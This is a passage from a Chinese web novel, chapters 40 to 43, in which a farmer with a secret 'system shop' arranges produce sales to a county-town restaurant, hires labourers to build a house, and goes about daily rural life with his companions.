钟程台道:“那明天我就派人去摘果子,还有你菜里的那些菜,能吃的都准备一些,我拉回来研究研究,或者你有菜谱,可以到酒楼来指点。”
谢言在心里想了一下,来指点多耽误农活啊,于是他毫不犹豫的回道:“我没有菜谱,家里都是念白做饭,不是炒就是炖,也没有研究别的吃法。”
这话倒是在钟程台的意料之中,农活这么忙,哪有时间去研究吃的。
钟程台道:“行,那我拉回来自己研究。我那天走了一下,那路马应该是可以过的。”
张佳华回道:“应该没问题。”
钟程台点了头,看向张佳华,“行,明天你跟着去。”
张佳华应道:“好。”
事情都说完了,谢言也就起身告辞了,“钟大哥,家里还有活,我就不多留了。”
钟程台道:“佳华,给谢言拿些茶叶带回去吃。”
谢言连忙拒绝,“不用了不用了,钟大哥你太客气了。”
钟程台笑道:“拿点回去吧,反正我有得是。”
谢言觉得在推脱也不好意思,“谢谢钟大哥。”
钟程台道:“一点茶叶而已,不要见外了。”
张佳华觉得他俩说得差不多了,与谢言说道:“茶叶在楼下,咱们下去拿吧”
“好。”谢言点了头,又与钟程台道,“那钟大哥,我就先走了。”
钟程台笑道:“慢走。”
谢言与张佳华出了门,张佳华轻手轻
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脚的将门给带上了,谢言问道:“张哥,你明天大概什么时候来啊?”
张佳华道:“早点吧,早去早回。”
“嗯,屋里要是没人,你就喊一声,反正我们都在附近的。”
张佳华也理解他农活忙,不可能一直在家里等着,“行。我去了就喊你。”
谢言点了头后又问了他道:“张哥,我那竹屋实在太小了,我想请人先把房子给建起来,现在这行情多少钱一天合适啊?”
张佳华想了想,“建房子是苦力活,你那地又远,太便宜了能招到人但是风评不会太好,七文钱一天我觉得差不多。”
听了他的话谢言都震惊了,虽然他没有富裕过,可七文钱一天还是让他觉得吃惊,这也太便宜了,买两馒头都要一文钱,钟程台给他二十两银子岂不是巨款了?
谢言不确定的问道:“七文钱有人愿意干吗?”
张佳华道:“七文钱已经是不错的价钱了,县城一般才六文一天,不过活是要轻松些。”
谢言心里有了底,但又问道:“张哥,我那儿那么偏僻,我要怎么招人呢?”
其实谢言愁的是他在村里又没个认识的人,村里又不好发布招工的告示,怎么才能把他要招人的消息传播出去。
张佳华理解他的困境,不过小叶子村离县城挺远的,张佳华只是认识几个小叶子村的人,但关系谈不上多好。他想了想,“这样吧,明天我带队过来的时候转道去小叶子逛一圈,帮你把招工的消息放出去。”
谢言喜不自胜,“那可真是太感谢了。”
张佳华说道:“你要确定是七文天一天,我说出去了可就不好改了。”
谢言应道:“嗯,我确定。”
张佳华又问道:“大概要招多少人呢?有没有什么条件?”
谢言第一回请人干活,他也拿不准,“十个?”
张佳华问道:“你打算建多大的房子?”
这个谢言倒是有现成的想法,因为他已经想了五年了,连图纸都有谱了,今天回去就可以画出来。
“我想稍微建大点,大半亩地,上下两层楼,带一个大院子。”
张佳华笑道:“果然是做大生意的人,眼界都要长远一些,房子还是建大点不后悔。”
谢言笑道:“张哥说笑了,我就是个农民,我就是小房子住久了,觉得憋屈得很,雨打风吹都要遭罪,所以才想换个大点的房子。”
张佳华道:“是大点好,以后生了孩子,你那竹屋确实没法住。”
谢言虽然并没有想那么多,但还是顺着他的应道:“是啊。”
张佳华道:“房子十天半个月是建不起来的,加上你还要请人开荒,时间禁不起耽搁,我觉得还是稍微多请一点。”
谢言问道:“张哥,我经历太少,拿不定主意,你觉得请多少人合适?”
张佳华沉吟片刻,“我觉得要不先请二十个人看看,不够以后在请。”
谢言点头,“行,听张哥的。”
张佳华道:“我也只是提个建议,还是看你自己。”
谢言点头应道:“我知道。”
话都说完了,谢言拿上张佳华给他的茶叶就离开了天悦酒楼。
40.第 40 章
从天悦酒楼出来,路过盐行去买了些盐。买完盐他犹豫了一会儿还是去竹松斋买了一套笔墨纸砚,全部买最便宜的都花了整整一两银子,拿钱的时候谢言真切的感到了肉痛,他本来想买些小食回去犒劳沈念白和柳梦寒的,结果钱花得太多,最后他也只舍得买了两串冰糖葫芦和十个大馒头。
买好后谢言便回家了,路上谢言走饿了,但又舍不得吃馒头,于是忍着饥饿加快脚步,回家的时候已经是傍晚了,远远就看到了炊烟。
白色的烟雾似有温度,一直暖到谢言的心里去了,他走得越发快了,几乎是小跑了起来,风掠过他的耳朵,呼呼的响。
回到家第一眼就看到沈念白坐在灶前将灶里柴火退了出来,谢言喊了声,“念白。”
沈念白听到他的声音欣喜的转头看了过去,“谢言哥,你回来了。”
“嗯。”谢言上前将手里的东西放在盆里,“买了几个馒头,今天晚上咱们杀鸡来吃。”
沈念白应道:“好啊。”
正在喂兔子的柳梦寒听到他的话,自告奋勇的说道:“我去捉。”
谢言笑了笑,“行,你去吧。”
柳梦寒撩起衣袖气势汹汹就朝鸡圈走了过去,沈念白将柴火重新加到灶里,“我烧水。”
谢言坐在旁边与沈念白说起了今天的经历,“念白,那个,我去上户口的时候衙门里的人问我家里有几口人,我就把你也说上了。”
沈念白加柴的手一顿,昏黄的火光映着他的脸红红的,他目不斜视的看着灶孔,低低的应了一声,“好。”
谢言继续说道:“不过我问了,你以后要是想走的话随时可以把户口迁走的。”
沈念白扭头看向了谢言,他的声音虽然不大,但语气很坚决,“我不会走的。”
谢言笑了笑,“以后的事说不准,要是你有喜欢的人了,想离开的话...”
他还没有说完就被沈念白打断了,“我不会走的。”
见他似乎生气了,谢言也没有在继续说下去了,转了话题说道:“户口和税都已经补完了,明天张哥就会来拉货了,不知道他要些什么东西,明天我要跟着去看看。不知道他们吃不吃晚饭,明天多准备些饭菜。”
沈念白点头,“嗯。”
谢言又道:“咱们的地太少了,我跟钟大哥说了要把剩下的山全都开出来,这几天就要开始请人了,我想请人的话就先把咱们的房子建起来,也正好快要到盛夏了,地里的活也少了。”
沈念白点头,“嗯。”
谢言道:“回来的路上我想了想,请人的话肯定要包饭的,体力活不吃肉也不行,咱们那点鸡鸭人一多顶不了什么事,所以我想养几头小猪崽。”
沈念白道:“现在买小猪崽怕不好买了。”
一般小猪崽都是春天买的,现在都入夏了。
谢言道:“我有办法。”
沈念白明白了,肯定又是求山神赏赐,他点了头,“好。”
谢言之所以要现在养小猪仔就是怕以后人多了,他再从系统商城里买东西不好解释,所以才要先把小猪仔买了。
谢言道:“养哪儿合适呢?”
沈念白想了想,“要不养鸭圈里,暂时把鸡鸭关在一起。”
谢言点头,“行,先试试吧。”
鸡圈鸭圈都是用竹子围成一圈,养小猪仔应该没有问题,但是大了肯定不行,猪力气大,会把竹子推倒。
“抓到了。”随着一阵扑腾声,柳梦寒兴奋的声音响了起来。
谢言起身,“我杀鸡去了。”
沈念白道:“好,水也马上就开了。”
柳梦寒走过来将手里的鸡递给了谢言,他道:“我随便抓的。”
谢言看向了沈念白,“随便抓的。”
沈念白看了一眼,“可以,杀吧。”
谢言手起刀落,本来还在扑腾的鸡慢慢的就咽气了,用碗把鸡血接着,等血放完了就扔到木桶里,在开水里烫一会儿,就可以拿出来拔毛了。
从开水里拿出来的鸡烫得不行,三个人一起拔毛,柳梦寒一边拔一边吹手,他不大理解,“为什么不等冷了在拔?”
沈念白回道:“冷了就不好拔了。”
谢言见柳梦寒这个都不知道,好奇的问道:“你不会真是哪家的富家公子吧?”
柳梦寒朝他皮笑肉不笑的嘿了一声,“你看我像吗?”
谢言道:“很像啊。”
柳梦寒叹了口气,“我也想,可偏偏就是没有那个命啊。”
谢言继续问道:“你要不是富家公子,怎么会连杀鸡都不会?”
柳梦寒道:“不会杀鸡不是很正常吗?”
谢言问了沈念白,“这很正常吗?”
沈念白犹豫着摇了头。
柳梦寒叹了口气,“就知道你们不信。我要真是富家公子我不在家里享福跑出来干什么?”
谢言对于这种桥段倒是熟悉得不行,“富贵的日子过腻了,跑出来寻找自由,话本子都这样写的。”
柳梦寒十分讶异,“哟,你还听过话本子呢?”
谢言打了个哈哈,“在梦里听过。”
柳梦寒道:“要我是富家公子,我才不想要什么自由呢,就要享一辈子的福。傻瓜才会觉得富贵的日子不好过。”
说话间鸡毛已经拔完了,谢言也没有在说下去了,朝柳梦寒说道:“提着,我去生火。”
柳梦寒看着光秃秃的鸡脖子,觉得有点下不去手,“还是我去生火吧。”说完就跑走了,谢言看着他的背影,笑出了声。
沈念白靠到谢言的身上,低声问道:“谢言哥,梦寒不会真的是有钱人家的公子吧?”
谢言摇头,“我也不知道。”
“哦。”
谢言与他说道:“不过看他那样子,确实不像干过什么重活的。”
沈念白跟他解释,“哥儿一般都不会干什么太重的活的。”
“哦哦,还有这种规矩。”谢言对这个世界知之甚少。
沈念白道:“哥儿大多没男人壮,所以力气比男人要小一些,所以干不了太重的活。”
谢言点头,原来是这样。
“火生好了。”说话间,柳梦寒已经把火升起来了。熊熊的火光,跟天上的夕阳一样漂亮。
谢言提着鸡
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脖子走过去,用竹竿夹起来在火上烧一烧,将没有拔干净的绒毛烧干净。
“好香啊。”柳梦寒闻着空气中飘来的肉香,谢言有意逗他,将烧好的鸡在他面前晃着,“来来来,吃一口。”
刚烧过的鸡一股热气,柳梦寒连忙往后退,“咦。”
沈念白在旁边看着笑,谢言道:“我去河边处理,顺便抓两条鱼回来烤着吃。”
“一起去吧。”
“我也去。”
谢言朝柳梦寒说道:“提个桶。”
“行。”
柳梦寒转身回去提了个桶,追上来朝沈念白说道:“把碗放桶里吧。”
沈念白手里拿了两个碗,他道:“没事,总共没几步路。”
“那行。”
三人来到河边,谢言将鸡交给了沈念白,“我去抓鱼。”
“好。”沈念白接了过来,蹲下将鸡在河里简单的洗了一遍,然后熟练的开膛破肚,将肚子里的内脏取出来洗干净放在碗里。
柳梦寒蹲在旁边看着他,一脸艳羡,“我什么有你这么厉害就好了。”
沈念白失笑,“这有什么厉害的。”
柳梦寒道:“这已经很厉害了,我要是也能有你这么熟练,就能去酒楼帮工了。”
听到他的话沈念白问道:“你想去酒楼帮工?”
柳梦寒道:“我只是这样说了,我也不能一辈子留在这儿啊。”
这话沈念白没有办法接,毕竟以后的事谁也说不准,他只能道:“以后的事以后在说吧。说不定真一辈子留在这儿了呢。”
柳梦寒笑了笑,“我倒是愿意一辈子留在这儿,一辈子跟你和谢言哥在一块。”
沈念白道:“那不就得了。”
柳梦寒也没有多说了,此时谢言鱼也抓好了,他提着桶上了岸,浑身湿漉漉的,表情兴奋,“抓了两条。”
沈念白朝他说道:“鸡处理好了,把鱼递给我吧。”
谢言道:“你回去做饭吧,我来弄鱼。”
“好。”沈念白问道,“炖吗?”
谢言看了天色,马上就要黑了,炖怕是来不及了,他道:“炒辣子□□。”
“好。”沈念白应了一声后与柳梦寒说道,“走吧,咱们先回去。”
“嗯。”
两人一起回家做饭,谢言一个人在河边将鱼给处理干净。
经常做鱼,谢言的动作很快,几乎可以说是一气呵成,赶在天黑前将鱼给处理好了,提着鱼回家。柳梦寒已经将火堆给生好了,暖黄黄的很是亮堂,不过现在还不能烤,还得码味。
沈念白正在爆鸡丁,忙不过来谢言就自己码味,他们现在的调料很丰富,花椒辣椒都有加上盐就已经很好吃了。
谢言简单的码了味,用柳梦寒准备好的竹签子将鱼串起来放在火堆旁边烤着。谢言朝柳梦寒说道:“看火交给你了。”
柳梦寒回道:“放心吧。”
辣子鸡丁炒的时候空气中全是辣椒的味道,呛人得很,谢言就端了椅子走远点坐下,他靠在椅背上看着竹屋,开始规划以后的房子。纵然他已经想过很多遍了,但每一次都会有新想法。
41.第 41 章
“谢言哥,吃饭了。”
沈念白的声音把谢言的思绪拉了回来,他应了声,“来了。”
满满一大盆的辣子鸡丁,红彤彤的散发着诱人的香气,谢言夸赞道:“好香。”
沈念白道:“今年的新鲜辣椒,炒出来是要香些。”
谢言正要坐下,就听柳梦寒说道:“来看看鱼烤好没有。”
谢言抬头看他,与他说道:“你撕点尝尝呗。”
柳梦寒不敢置信,“这么烫,直接撕?”
沈念白笑了笑,“谢言哥你坐吧,我去看看。”
“我去吧,你把饭盛出来。”谢言说着就去了火堆旁,在柳梦寒震惊的目光中,伸手在烤鱼上撕了一块鱼肉下来尝了,“嗯,熟了。”
柳梦寒朝他伸出大拇指,“铁手。”
谢言笑道:“我这手上全是老茧子,跟你不一样。”
柳梦寒听到他打趣他的话,回道:“我就算打了老茧子也练不成铁手。”
沈念白催促道:“拿过来吃饭吧。”
“来了。”谢言应了一声,将插在地上的烤鱼拿起来,递了一个给柳梦寒,“你跟念白吃一个。”
“好。”
三人落了座,谢言感叹道:“感觉咱们三好久没有在一块吃饭了。”
沈念白回道:“这几天你一直在忙,在家的时间都少了。”
谢言道:“忙几天也有成果,事情终于都办完了,以后都可以安心了。可惜没酒,应该喝酒庆祝一下的。”
柳梦寒道:“我会酿酒。你要想喝,我明天就可以开始酿。”
谢言有些惊讶,“哟,你还会酿酒呢?”
柳梦寒扬着下巴,“怎么,看不起我?”
谢言道:“怎么会?只不过我一直以为你是富家公子,所以有点好奇而已。”
柳梦寒笑道:“只有你才会以为我是富家公子了。”
谢言道:“人的想象力是无穷的嘛。”
沈念白问了柳梦寒,“酿酒要什么东西啊?”
柳梦寒正要说话,谢言又问了他,“酒多久能酿好啊?”
柳梦寒道:“一般的酒十天半个月就酿好了。”
谢言对酿酒完全不了解,在现代他都是买酒喝的。他道:“快过年的时候在酿吧,马上要请人做事了,喝酒误事。”
柳梦寒问道:“这么快就要请人了?”
谢言点头,“嗯,明天张哥从小叶子村过来就会把招人的消息散布出去,快的话就这几天就会有人来了。”
“哦。”听了谢言的话柳梦寒的脸色明显的暗了下来,他低着头吃饭不在说话了。谢言光顾着吃饭也没有注意到他的变化,只是一味的夸着,“今天这个辣子鸡炒得真好吃。”
沈念白道:“是你这几天都没有好好吃饭,饿着了吧。”
谢言回道:“那不能,我今天中午在县城吃了十个馒头一碗面,吃饱了的。”
沈念白问道:“你们今天早上走的时候怎么都没有咋吃饭呢?”
说起早上的事,谢言是觉得王捕头和王大娘有点怪怪的,但他又说不出来哪里怪,他道:“王大娘咳得厉害,王捕头心情不大好,他们没怎么吃,我也没好意思吃。”
沈念白道:“早知道我该烙几张饼让你带路上吃的,早上不吃饭多饿得慌啊。”
谢言见他担心,笑了笑道:“还行吧,馒头挺好吃的。”
沈念白见他提起馒头,与他说道:“晚上我没热馒头。”
谢言道:“明天早上吃吧,要是张哥来得早,咱们也来不及做早饭。”
沈念白道:“我也是这样想的。”
两人聊了好一阵,沈念白才意识到柳梦寒一直没说话,便喊了他,“梦寒,你怎么不说话?”
柳梦寒敷衍的回道:“哦,饿了,吃饭呢。”
谢言道:“是,天不早了,赶紧吃了睡觉吧。”
沈念白重重的看了柳梦寒一眼,这才回了谢言,“嗯。”
吃完饭,趁谢言去河里洗澡的时间,沈念白悄悄的问了柳梦寒,“梦寒,你是不是有心事啊?”
柳梦寒收拾碗筷的手一顿,露出个勉强的笑来,“没有啊,你怎么会这么问?”
沈念白道:“从刚才我就觉得你有点不对劲,你要是有什么话你就跟我说,我和谢言哥都会帮你想办法的。”
柳梦寒看着他张了张嘴,但到底还是没有说出什么话来,“真没什么事,就是困了。”
沈念白一直在荒山里生活,也没有见过什么人,心思还是单纯,听柳梦寒这么说就信了,“那你去睡吧,我来收拾就是。”
柳梦寒道:“不用,也不急在这一时。”
沈念白道:“那我们快点收拾。”
柳梦寒点了头,“嗯。”
这边谢言才刚下水,就听见沈念白在喊他,“谢言哥,洗完了吗?”
谢言回道:“没有。”
沈念白道:“快点。”
这还是沈念白第一次催他,谢言也搞不懂是怎么回事,于是简单的搓了一遍就上岸了,刚上岸就听见沈念白在说话,“过来吧。”
谢言还以为是在跟他说话,忙问道:“干什么?”
沈念白道:“我在叫梦寒。”
“啊?”谢言手忙脚乱的穿好衣服,“你们俩今天晚上怎么回事啊?怎么奇奇怪怪的。”
沈念白解释道:“困了,我们想早点收拾完休息。”
“那放着明天早上在洗呗。”谢言对这些没有太大的讲究,他以前一个人住的时候不想洗碗不想洗衣服的时候就会放一放。
沈念白没有跟他多说,“你先去睡吧,不用管我们了。”
“哦。”说到困谢言都打起呵欠了,他一边往牛棚那边走,一边想也不知道第二张竹床做好没有,不过又想,就算做好了,竹屋也没有地方放,还是只有住牛棚。
谢言看着并排放着的三个干稻草窝窝,沈念白和柳梦寒不会在来睡了,谢言就把他们俩的干稻草放在自己的窝窝上,躺下去一试,软和多了。
谢言一躺下去就睡着了。突然脸上热热的痒痒的,还一股奇怪的味道,他睁开眼就对上的黄牛的大眼睛,他连忙坐了起来,看着牛还没有收回去的舌头,他嫌弃的抹了一把脸,黏糊糊的,“大黄,你在干什么?”
谢言一个健步窜了出去,大步的往河边跑。早起的沈念白看见了,连忙问道:“谢言哥,你干嘛呢?”
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谢言头也不回的说道:“洗脸。”
谢言去河边拿皂角洗了好几遍确定脸上没味了才作罢了,他往回走的时候想,今天晚上一定要离大黄远点。
回到家沈念白正在生火做早饭,他看着谢言脸红红的,连忙问道:“谢言哥,你的脸怎么了?”
刚才洗脸劲用大了,现在才后知后觉的感觉到痛了,谢言道:“哦,洗脸洗过头了。”
沈念白很惊讶,“啊?”惊讶过后又觉得不对劲,“是不是被虫子爬了?”
谢言道:“真不是,就是洗脸用力用大了。”此时他才注意到门前有一株兰花,开着嫩绿的小花,他问道,“这花什么时候长起来的?”
沈念白顺着他的视线看过去,解释道:“哦,昨天我们从县城回来的时候在山上挖的,我觉得好看就挖回来了。”
谢言随口附和道:“是挺好看的。”说完谢言就打算上山了,“我上山去割牛草了。”
谢言已经好几天没有割牛草了,他怀疑大黄很有可能没吃饱,所以他决定今天早点去割牛草回来喂牛。
沈念白叮嘱道:“那你别走远了,要是张哥来了,我就喊你。”
谢言应声,“嗯,我就在附近。”
谢言背着背篓上了山,路过菜地时看到菜地里全是杂草,之前拔的那几块地都又长出杂草来了。谢言心想,干农活还是不能偷懒,这几天不上山,庄稼都要被杂草挤死了。
谢言割了一大背的牛草回家,沈念白看见了喊他,“谢言哥,饭好了。”
谢言应了声,“我把牛喂了来。”
谢言喂了牛坐到饭桌上吃饭的时候才意识到柳梦寒,他问道:“梦寒呢?”
沈念白语气有些惆怅,他说:“他去县城了。”
谢言有些讶异,“为什么?”
沈念白摇头,“我也不知道,我问他他也没有说,今天天还没亮他就走了,我留他吃早饭他也不吃,我就给了他三个馒头。”
谢言也搞不懂了,不过他对柳梦寒也没有感情,自然也不像沈念白这么舍不得,他道:“本来他就是要去县城的,只不过在咱们家多住了两天。”
沈念白自然也知道,也没有多说什么,“嗯,他说以后会回来找我玩的。”
谢言道:“他会酿酒去县城找个酒庄做活应该不难。”
话虽然是这样说,但沈念白的心情一时半会还是不大好,饭也没吃多少,七个大馒头他一个人就吃了五个,他看着沈念白突然想起了他昨天还买了冰糖葫芦,“我有好东西给你。”
谢言说着就急匆匆进屋去了,沈念白看着他的背影,好奇的问道:“什么好东西啊?”
谢言在屋里翻了翻,结果翻来翻去也没有找到冰糖葫芦,他挠着头出了门,“我昨天买了两串糖葫芦的呀,怎么没有了?”
沈念白心头发虚,“早上我给梦寒拿馒头的时候瞧见了,就一起给他了。”
“哦。”谢言回到位置上坐下,“反正都是给你们俩买的,给就给了吧,下次我去县城在给你买。”
听着谢言的话,沈念白低沉的情绪一刹那就消失了,他笑了笑,“嗯。”
“吃饭吧。多吃点,今天要干活呢。”
“嗯。”
42.第 42 章
吃完了饭,谢言就又上山割牛草了,他还惦记着要养小猪崽的事情,于是特意走远了些。
谢言在系统商城买了十头小猪崽,两只母猪,八只公猪。五十点经验值一只,不过现在谢言已经不在乎经验值了,因为他的经验值都快比他的身份证还长了,根本就用不完。
小猪崽非常小,看起来就知道刚出生没多久,谢言都已经习惯了,在系统商城里买的东西都是小得不能在小的了。
谢言在背篓底铺了一层草,将一窝哼哼唧唧的小猪崽抱进了背篓里,兴高采烈的往家走。
回到家沈念才刚收拾好准备上山,听到谢言背篓里传来哼哼唧唧的声音,欣喜的问道:“小猪崽?”
谢言还是老一套的说辞,“啊,山神给的。”
谢言将背篓放了下来,沈念白看了过去,粉嫩嫩毛绒绒的,“这么多?”
谢言道:“两只母猪用来下崽,八只公猪。”
沈念白道:“我今天早上一斤把鸭圈打扫出来了,我放过去吧。”
“我来吧。”
谢言端着背篓来到鸭圈,掀开面上的盖板,里面还残存了一些鸭子的气味,但比之前已经好多了,竹子还是湿漉漉的,一看就是用水冲过的。
谢言将背篓放在圈里后倒下来,但是小猪崽抱成一团不出来,谢言和沈念白就用手去赶它们。
将猪赶出来后,沈念白问道:“要不要先喂一次啊?”
谢言也不知道,但想着喂一次总比不喂好,于是点了头,“先喂一次吧。”
沈念白道:“我去割猪草。”
谢言道:“嗯,我去割牛草。”
沈念白担忧道:“咱们都走了,张哥来了家里没人啊。”
谢言道:“别走远了,应该看得见的。我昨天也跟他说了,农活忙,要上山,他来了要是家里没人,喊一声就是了。”
沈念白这才放心了,“那行。”
两人一道上了山,但是牛草是杂草,老点嫩点都行,猪草的要求要高些,要能煮软的菜和野菜,这个时节可以割红薯藤。
谢言上了山又割了一背牛草,背回去的时候沈念白已经回来了,正在门前切猪草,猪崽太小了要切得碎一些,切了还要煮,比较费事。
谢言割完了牛草又去菜地里除草,顺便看看哪块地干了,傍晚的时候挑水去浇。
日上三竿的时候谢言听到了哒哒的马蹄声,同时他也听到张佳华的喊声,“谢言。”
谢言从玉米地起身,应道:“来了。”
谢言和沈念白一前一后的回了家,谢言打了招呼,“张哥。”
张佳华带了两匹马,两个人。
“忙着呢。”张佳华与他寒暄了一句,
谢言笑道:“种田就是一年四季都闲不下来。”
沈念白给几人倒了水,“张哥,两位大哥,喝点水歇歇脚吧。”
其他两人都没有接,他们拍了拍腰间的葫芦,“谢谢,我们带了水的”
张佳华接过去喝了一大口,赞赏道:“同样是山泉水,这灵秀山的格外要甜些。”
两人听到他的话,也好奇了起来,灵秀枇杷好吃他们都知道,但不知道灵秀山的水都要好喝些,于是又端起了桌子上的碗,喝了一口,附和道:“确实要甜些。”
谢言和沈念白常年喝,倒是没觉得有什么不一样,谢言张口就来,“是我们从山上引下来的,喜欢的话经常来喝,走的时候装些回去。”
张佳华笑道:“谢老板大气。”
谢言道:“张哥取笑我了。”
寒暄完,张佳华问道:“看你什么时候方便,我们上山收货去。”
谢言道:“我都方便,看你们要不要休息休息。”
张佳华道:“这不休息过了吗,走吧。”
“行。”
张佳华问道:“你看这两匹马拴哪儿,顺便给我们喂喂。”
“行。”谢言应了声,朝沈念白道,“拴屋后面,那里有草也不用去割了。”
沈念白应道:“放心吧,谢言哥。”
谢言交代完后就带着张佳华三人上山去了,张佳华道:“我来的时候掌柜的说了,此行要多带些辣椒回去。”
谢言道:“行啊,这个时节正是出辣椒的时候。”
张佳华道:“能吃的菜一样都给我装点吧。”
“好。”
张佳华让两人摘枇杷和荔枝,“看着点,别磕了碰了。”
“二掌柜放心吧,我们心里有数。”
张佳华道:“我说的是果子。”
“哦。”
说完后张佳华和谢言就去了菜地里,现在能吃的菜还不算多,但地里的菜一旦到了季节就堆起了,张佳华就多摘了一些。
几人一直忙到快中午,才从山上回来,摘了满满四大框,累得满头大汗,尤其是张佳华这种一年到头上不了几次山的,更是累得腿都发抖。
沈念白赶紧过去帮张佳华抬,抬到门前放下,放下的一瞬间张佳华长叹了一口气,“哎哟我的天,这也太累人了。”
谢言道:“下次跑两趟就没这么重了。”
张佳华摇头,“算了,我还是宁愿一趟跑完。”
沈念白道:“几位大哥,歇歇吧,饭也做好了,随时都可以开饭。”
张佳华道:“你们先吃,我歇会儿。”
张佳华不吃,其他两人自然也没吃。客人都没有吃,主人自然要等,谢言陪着坐着,沈念白给大家倒了水。
闲聊了几句休息了一会儿,缓过来了就觉得饿了,张佳华道:“坐一会儿就觉得饿了,要不还是先吃饭吧。”
几人就等他发话了,谢言道:“大家都坐过来吧。”
三副碗筷,谢言就先没吃了,让张佳华他们三人坐下了,为了不引起误会他直接解释道:“家里平时人少,碗筷没那么多,你们先吃,我们等会再吃。”
张佳华客气道:“这多不好意思。”
谢言回道:“这话就客气了不是,我都是当自己人才说的自己话,不然我就说我不饿了。”
张佳华道:“行,那我也不跟你客气了。”
谢言道:“来灵秀山庄就是回家,千万别客气。”
张佳华道:“兄弟
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够义气。”
三人吃完了饭,沈念白收拾碗筷,另外两人把货物抬到马上去,谢言与张佳华说话。
张佳华道:“按道理来说,应该在你这儿分类称好在拉走的,但我看你这儿也没有称,这批货物我就拉回去称了,下次来的时候把数目给你。”
谢言道:“没问题,张哥你说了就是。”
张佳华伸手想拍他的肩膀,又想起他肩膀上有伤,关心的问了句,“你肩膀上的伤好些了没有?”
谢言回道:“擦了几天药,好多了。”
张佳华换了一边肩膀拍了拍,“我来的时候大叶子村小叶子村都去了,找了几个认识的人说了你这儿要招工的事,效果我不敢保证,要是过几天都还没有人来的话,你恐怕得亲自跑一趟。”
谢言道:“多谢张哥,我知道的。”
说话间工人已经把货物上完了,张佳华与谢言道别,“走了,有事随时来县城找我。”
谢言点头,“张哥下次大概什么时候来?”
张佳华道:“看地里的情况怎么也得在过十天吧。”
谢言道:“我们基本上都有人在家的,没在家就是上山去了,你来了喊一声就是。”
张佳华道:“我知道。”
张佳华说完就带着人走了,谢言还送了他们一截,返回来的时候沈念白已经把饭菜重新摆好了,“谢言哥,过来吃饭。”
谢言快步过去,“是要吃饭,饿死我了。”
两人坐下吃饭,沈念白道:“谢言哥,咱们是不是要多准备些碗筷,不然请了人,饭还得分批吃。”
谢言一拍脑袋,他怎么忘了这茬,“行,我想办法多准备些碗筷。”
沈念白道:“好。”
谢言饿得不行,说完话就开始认真吃饭了。一旦谢言饿狠了,吃饭的时候是不会说话的。
吃完了饭,沈念白收拾碗筷去河边洗,谢言想着这段时间也不可能去县城,于是趁沈念白不在就在系统商城里兑换了一百个碗,二十只木桶,一个大铁锅,一个大锅铲。
兑换倒是简单,就是怎么跟沈念白解释呢?谢言第一次萌生出了要将他的来历对沈念白和盘托出的想法。
还没有等谢言做出决定,沈念白就回来了,他看到地上的东西虽然欣喜但并不意外,“哇,这么快就拿到了。”
谢言没理解他的意思,他问道:“你不觉得离奇吗?”
沈念白却反问道:“山神给的有什么好离奇的?”
谢言嘴角扯了扯,原来他编的瞎话沈念白真信了这么多年啊。正好他也没有想好要不要把事实告诉他,于是便顺坡下了,“这是我们的秘密,你千万不要说出去。”
沈念白一本正经的回道:“我知道,谢言哥,这是咱们家的秘密,谁也不能说,说了山神肯定要生气的。”
谢言心想,山神会不会生气他不知道,但他很有可能会被当成怪物抓起来。
“嗯。”
“有这么多碗,来在多人也不怕了。”沈念白说着就将碗往屋里捡,谢言惦记着山上的活,“我上山去了。”
“好。”
43.第 43 章
下午,谢言正在挑水浇菜,突然听到沈念白非常急切的喊他,“谢言哥,有人来了,快回来。”
谢言猜到应该是有人要来做活,应声道:“马上就回来。”
谢言将水桶放在田埂上就匆匆回家了。回到家就看到一个憨厚的男人有些局促的站在竹屋前,手里还端着一碗水,见到谢言过来越发的紧张了,他憋红了脸,喊了声,“谢.谢老板。”
沈念白在旁边介绍道:“谢言哥,他说他是来做活的。”
谢言友好的朝那人笑了笑,“坐下说。”
谢言先坐下后,那人才坐下了,他将手里的碗放在桌子上,双手放在膝盖上局促的搓着手指。为了缓解他的紧张,谢言缓声问道:“你叫什么名字?”
“许.许承志,小叶子村人士,今年二十三岁。”许承志一口气将自己的情况都说了。
谢言点了头,又问道:“能干重活吧?”
许承志忙不迭的点头,“能的,我一次能扛三百斤。”
谢言点头很是满意,“很好,七文钱一天,包吃不包住,你要是觉得可以的话明天就可以来了。”
许承志如小鸡啄米一样的点头,“行,我明天一早就过来。”
谢言道:“你要是有认识的朋友也可以介绍一起过来。”
许承志回道:“我回去跟他们说。”
谢言问道:“从小叶子村过来要走多久啊?”
许承志回道:“半个时辰。”
谢言道:“那是挺远的。”
许承志道:“是啊,好多人一听这么远都不愿意来。”
谢言玩笑道:“只要不是所有人都不愿意来就行。”
许承志摇头,“那不会。”
闲聊没有意义,谢言开口送客,“农忙时节,就不耽误你了,明天直接过来就是。”
“那我就不打扰了。”许承志起身离开了。
等他走远了,沈念白新奇的问道:“这样就行了?”
谢言笑道:“不然让他当场表演一个扛三百斤?”谢言说着就站了起来,“我的水还在田坎上放着呢,我去浇菜了。”
沈念白正好去菜地里除草就跟他一块走,路上沈念白说道:“张哥今天摘了菜,我去看看哪些不要了,就铲了种别的吧。”
谢言道:“该种就种,现在不愁吃不完了。”
沈念白应了声。没走多远两人就分道了,谢言挑着水桶浇菜去了,他肩膀上的伤还没有完全好完,挑了几担后就又去除草,等傍晚的时候又去割了牛草。
谢言割完牛草回家天都快黑了,沈念白还在山上没回来,倒是鸭子回来了,回不了自己的圈全部围在鸭圈门口‘嘎嘎嘎嘎嘎’的叫,一百只鸭子一起叫,吵得谢言耳朵都快聋了,于是他打开了鸡圈,想把鸭子赶进去,结果鸡关久了,门一打开鸡就一蜂窝的往外涌,扑腾得鸡毛漫天飞。谢言伸手去拉,拉了半天只拉到一根鸡毛,毛绒绒的,还热乎乎的。
完蛋了。
谢言大声喊道:“念白。念白。”
太吵了,谢言也不知道沈念白听见了没有,他连自己都听不见自己的声音了,鸡鸭乱成一团,咯咯嘎嘎的叫,飞的飞跳的跳,谢言想走但是连个下脚的地方都没有,于是他索性关了鸡圈的门,打开盖子把鸡鸭抓了往鸡圈里扔,但是太多了,而且大部分鸡都跑了,只有鸭子还在嘎嘎的叫。
谢言抓了一阵也才抓了十几只,此时沈念白急急忙忙的跑回来,看到谢言一身的鸡毛,想笑又憋住了,“鸡圈门开了?”
谢言无奈的点了头,“我想把鸭子赶进去,没想到鸡全部跑出来了。”
沈念白道:“关久了,肯定想出来放一放,等会儿用谷子唤一唤就回来了。”
一听能唤回来谢言还是大大的松了口气,只要不糟蹋地里的菜就好。
